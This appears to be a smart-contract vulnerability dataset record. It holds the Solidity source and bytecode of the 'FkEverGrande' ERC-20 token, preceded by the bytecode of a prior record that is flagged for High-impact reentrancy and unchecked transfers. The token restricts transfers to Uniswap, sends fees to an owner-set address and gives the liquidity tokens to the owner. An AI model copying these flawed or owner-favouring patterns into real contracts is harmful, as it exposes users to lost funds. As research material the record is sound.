b81019080805190602001909291905050506114ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61153c81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f590919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611594816001546116f590919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000611660836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611741565b905092915050565b6000611690836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611764565b905092915050565b60006116a68260000161184c565b9050919050565b600080828402905060008414806116cc5750828482816116c957fe5b04145b6116d257fe5b8091505092915050565b6000808284816116e857fe5b0490508091505092915050565b60008082840190508381101561170757fe5b8091505092915050565b6000611739836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61185d565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461184057600060018203905060006001866000018054905003905060008660000182815481106117af57fe5b90600052602060002001549050808760000184815481106117cc57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061180457fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611846565b60009150505b92915050565b600081600001805490509050919050565b60006118698383611741565b6118c25782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506118c7565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea2646970667358221220f82a90e786776a33ab339a48f28b548257659edc9cac0bb43e98c982d1881c7f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,932 |
0x7bcebde65f855c804910e8a15235fd8f505c5358
|
/**
*Submitted for verification at Etherscan.io on 2021-09-22
*/
/**
*Submitted for verification at Etherscan.io on 2021-08-27
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
//SPDX-License-Identifier: Mines™®©
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FkEverGrande is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FkEverGrande";
string private constant _symbol = "FKE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _fkeBal;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _vTotal = 100000000000000 * 10**9;
uint256 private _devFee = 5;
uint256 private _burnFee = 5;
uint256 private _maxFeeSwap = 1000000000000 * 10**9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address private _teamAddress;
bool private inSwap = false;
bool private swapEnabled = false;
bool private _initialized = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_teamAddress = owner();
_fkeBal[address(this)] = _vTotal;
emit Transfer(address(0), address(this), _vTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _vTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _fkeBal[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function removeAllFee() private {
_burnFee = 0;
_devFee = 0;
}
function restoreAllFee() private {
_burnFee = 5;
_devFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > _maxFeeSwap) contractTokenBalance = _maxFeeSwap;
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > 0) swapTokensForEth(contractTokenBalance);
}
bool takeFee;
if (from != uniswapV2Pair) takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false;
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
_teamAddress,
block.timestamp
);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _vTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 sendAmount
) private {
uint256 totalFee = _devFee + _burnFee;
uint256 recAmount = sendAmount - sendAmount.div(100).mul(totalFee);
uint256 devFee = sendAmount.div(100).mul(_devFee);
uint256 burnFee = sendAmount.div(100).mul(_burnFee);
_fkeBal[sender] = _fkeBal[sender].sub(sendAmount);
_fkeBal[recipient] = _fkeBal[recipient].add(recAmount);
_fkeBal[address(this)] = _fkeBal[address(this)].add(devFee);
_fkeBal[address(0)] = _fkeBal[address(0)].add(burnFee);
emit Transfer(sender, recipient, recAmount);
}
receive() external payable {}
function setTeamAddress(address payable _address) external onlyOwner() {
_teamAddress = _address;
_isExcludedFromFee[_teamAddress] = true;
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102bb578063c3c8cd80146102f8578063dd62ed3e1461030f578063e8078d941461034c576100e8565b8063715018a61461024e5780638da5cb5b1461026557806395d89b4114610290576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd5780636690864e146101e857806370a0823114610211576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610363565b60405161010f919061239f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611fb2565b6103a0565b60405161014c9190612384565b60405180910390f35b34801561016157600080fd5b5061016a6103be565b60405161017791906124e1565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611f5f565b6103d0565b6040516101b49190612384565b60405180910390f35b3480156101c957600080fd5b506101d26104a9565b6040516101df9190612556565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a9190611ef2565b6104b2565b005b34801561021d57600080fd5b5061023860048036038101906102339190611e98565b610605565b60405161024591906124e1565b60405180910390f35b34801561025a57600080fd5b5061026361064e565b005b34801561027157600080fd5b5061027a6107a1565b60405161028791906122b6565b60405180910390f35b34801561029c57600080fd5b506102a56107ca565b6040516102b2919061239f565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190611fb2565b610807565b6040516102ef9190612384565b60405180910390f35b34801561030457600080fd5b5061030d610825565b005b34801561031b57600080fd5b5061033660048036038101906103319190611f1f565b6108d3565b60405161034391906124e1565b60405180910390f35b34801561035857600080fd5b5061036161095a565b005b60606040518060400160405280600c81526020017f466b457665724772616e64650000000000000000000000000000000000000000815250905090565b60006103b46103ad610e22565b8484610e2a565b6001905092915050565b600069152d02c7e14af6800000905090565b60006103dd848484610ff5565b61049e846103e9610e22565b61049985604051806060016040528060288152602001612b0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061044f610e22565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115899092919063ffffffff16565b610e2a565b600190509392505050565b60006009905090565b6104ba610e22565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053e90612441565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610656610e22565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106da90612441565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f464b450000000000000000000000000000000000000000000000000000000000815250905090565b600061081b610814610e22565b8484610ff5565b6001905092915050565b61082d610e22565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b190612441565b60405180910390fd5b60006108c530610605565b90506108d0816115ed565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610962610e22565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e690612441565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a8030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af6800000610e2a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ac657600080fd5b505afa158015610ada573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afe9190611ec5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6057600080fd5b505afa158015610b74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b989190611ec5565b6040518363ffffffff1660e01b8152600401610bb59291906122d1565b602060405180830381600087803b158015610bcf57600080fd5b505af1158015610be3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c079190611ec5565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c9030610605565b600080610c9b6107a1565b426040518863ffffffff1660e01b8152600401610cbd96959493929190612323565b6060604051808303818588803b158015610cd657600080fd5b505af1158015610cea573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d0f919061201f565b5050506001600a60156101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dcc9291906122fa565b602060405180830381600087803b158015610de657600080fd5b505af1158015610dfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1e9190611ff2565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e91906124a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f01906123e1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fe891906124e1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105c90612481565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cc906123c1565b60405180910390fd5b60008111611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110f90612461565b60405180910390fd5b6111206107a1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561118e575061115e6107a1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611468573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111fb57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112555750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112af5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156113ab57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f5610e22565b73ffffffffffffffffffffffffffffffffffffffff16148061136b5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611353610e22565b73ffffffffffffffffffffffffffffffffffffffff16145b6113aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a1906124c1565b60405180910390fd5b5b60006113b630610605565b90506007548111156113c85760075490505b600a60149054906101000a900460ff161580156114335750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561144b5750600a60159054906101000a900460ff165b80156114575750600081115b1561146657611465816115ed565b5b505b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146114c457600190505b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115655750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561156f57600090505b61157b84848484611897565b6115836118c4565b50505050565b60008383111582906115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c8919061239f565b60405180910390fd5b50600083856115e091906126a7565b9050809150509392505050565b6001600a60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561162557611624612814565b5b6040519080825280602002602001820160405280156116535781602001602082028036833780820191505090505b509050308160008151811061166b5761166a6127e5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561170d57600080fd5b505afa158015611721573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117459190611ec5565b81600181518110611759576117586127e5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117c030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e2a565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016118469594939291906124fc565b600060405180830381600087803b15801561186057600080fd5b505af1158015611874573d6000803e3d6000fd5b50505050506000600a60146101000a81548160ff02191690831515021790555050565b806118a5576118a46118d5565b5b6118b08484846118e7565b806118be576118bd6118c4565b5b50505050565b600560068190555060058081905550565b60006006819055506000600581905550565b60006006546005546118f991906125c6565b9050600061192382611915606486611c4a90919063ffffffff16565b611c9490919063ffffffff16565b8361192e91906126a7565b9050600061195a60055461194c606487611c4a90919063ffffffff16565b611c9490919063ffffffff16565b90506000611986600654611978606488611c4a90919063ffffffff16565b611c9490919063ffffffff16565b90506119da85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0f90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6f83600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5990919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b0482600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b9981600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5990919063ffffffff16565b600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c3991906124e1565b60405180910390a350505050505050565b6000611c8c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611db7565b905092915050565b600080831415611ca75760009050611d09565b60008284611cb5919061264d565b9050828482611cc4919061261c565b14611d04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfb90612421565b60405180910390fd5b809150505b92915050565b6000611d5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611589565b905092915050565b6000808284611d6891906125c6565b905083811015611dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da490612401565b60405180910390fd5b8091505092915050565b60008083118290611dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df5919061239f565b60405180910390fd5b5060008385611e0d919061261c565b9050809150509392505050565b600081359050611e2981612aae565b92915050565b600081519050611e3e81612aae565b92915050565b600081359050611e5381612ac5565b92915050565b600081519050611e6881612adc565b92915050565b600081359050611e7d81612af3565b92915050565b600081519050611e9281612af3565b92915050565b600060208284031215611eae57611ead612843565b5b6000611ebc84828501611e1a565b91505092915050565b600060208284031215611edb57611eda612843565b5b6000611ee984828501611e2f565b91505092915050565b600060208284031215611f0857611f07612843565b5b6000611f1684828501611e44565b91505092915050565b60008060408385031215611f3657611f35612843565b5b6000611f4485828601611e1a565b9250506020611f5585828601611e1a565b9150509250929050565b600080600060608486031215611f7857611f77612843565b5b6000611f8686828701611e1a565b9350506020611f9786828701611e1a565b9250506040611fa886828701611e6e565b9150509250925092565b60008060408385031215611fc957611fc8612843565b5b6000611fd785828601611e1a565b9250506020611fe885828601611e6e565b9150509250929050565b60006020828403121561200857612007612843565b5b600061201684828501611e59565b91505092915050565b60008060006060848603121561203857612037612843565b5b600061204686828701611e83565b935050602061205786828701611e83565b925050604061206886828701611e83565b9150509250925092565b600061207e838361208a565b60208301905092915050565b612093816126db565b82525050565b6120a2816126db565b82525050565b60006120b382612581565b6120bd81856125a4565b93506120c883612571565b8060005b838110156120f95781516120e08882612072565b97506120eb83612597565b9250506001810190506120cc565b5085935050505092915050565b61210f816126ff565b82525050565b61211e81612742565b82525050565b600061212f8261258c565b61213981856125b5565b9350612149818560208601612754565b61215281612848565b840191505092915050565b600061216a6023836125b5565b915061217582612859565b604082019050919050565b600061218d6022836125b5565b9150612198826128a8565b604082019050919050565b60006121b0601b836125b5565b91506121bb826128f7565b602082019050919050565b60006121d36021836125b5565b91506121de82612920565b604082019050919050565b60006121f66020836125b5565b91506122018261296f565b602082019050919050565b60006122196029836125b5565b915061222482612998565b604082019050919050565b600061223c6025836125b5565b9150612247826129e7565b604082019050919050565b600061225f6024836125b5565b915061226a82612a36565b604082019050919050565b60006122826011836125b5565b915061228d82612a85565b602082019050919050565b6122a18161272b565b82525050565b6122b081612735565b82525050565b60006020820190506122cb6000830184612099565b92915050565b60006040820190506122e66000830185612099565b6122f36020830184612099565b9392505050565b600060408201905061230f6000830185612099565b61231c6020830184612298565b9392505050565b600060c0820190506123386000830189612099565b6123456020830188612298565b6123526040830187612115565b61235f6060830186612115565b61236c6080830185612099565b61237960a0830184612298565b979650505050505050565b60006020820190506123996000830184612106565b92915050565b600060208201905081810360008301526123b98184612124565b905092915050565b600060208201905081810360008301526123da8161215d565b9050919050565b600060208201905081810360008301526123fa81612180565b9050919050565b6000602082019050818103600083015261241a816121a3565b9050919050565b6000602082019050818103600083015261243a816121c6565b9050919050565b6000602082019050818103600083015261245a816121e9565b9050919050565b6000602082019050818103600083015261247a8161220c565b9050919050565b6000602082019050818103600083015261249a8161222f565b9050919050565b600060208201905081810360008301526124ba81612252565b9050919050565b600060208201905081810360008301526124da81612275565b9050919050565b60006020820190506124f66000830184612298565b92915050565b600060a0820190506125116000830188612298565b61251e6020830187612115565b818103604083015261253081866120a8565b905061253f6060830185612099565b61254c6080830184612298565b9695505050505050565b600060208201905061256b60008301846122a7565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006125d18261272b565b91506125dc8361272b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561261157612610612787565b5b828201905092915050565b60006126278261272b565b91506126328361272b565b925082612642576126416127b6565b5b828204905092915050565b60006126588261272b565b91506126638361272b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561269c5761269b612787565b5b828202905092915050565b60006126b28261272b565b91506126bd8361272b565b9250828210156126d0576126cf612787565b5b828203905092915050565b60006126e68261270b565b9050919050565b60006126f88261270b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061274d8261272b565b9050919050565b60005b83811015612772578082015181840152602081019050612757565b83811115612781576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b612ab7816126db565b8114612ac257600080fd5b50565b612ace816126ed565b8114612ad957600080fd5b50565b612ae5816126ff565b8114612af057600080fd5b50565b612afc8161272b565b8114612b0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f2a824092b2f752b05f34487ec2eff1c7151e66e03e8c9d6a9e9faf0f99cb98e64736f6c63430008070033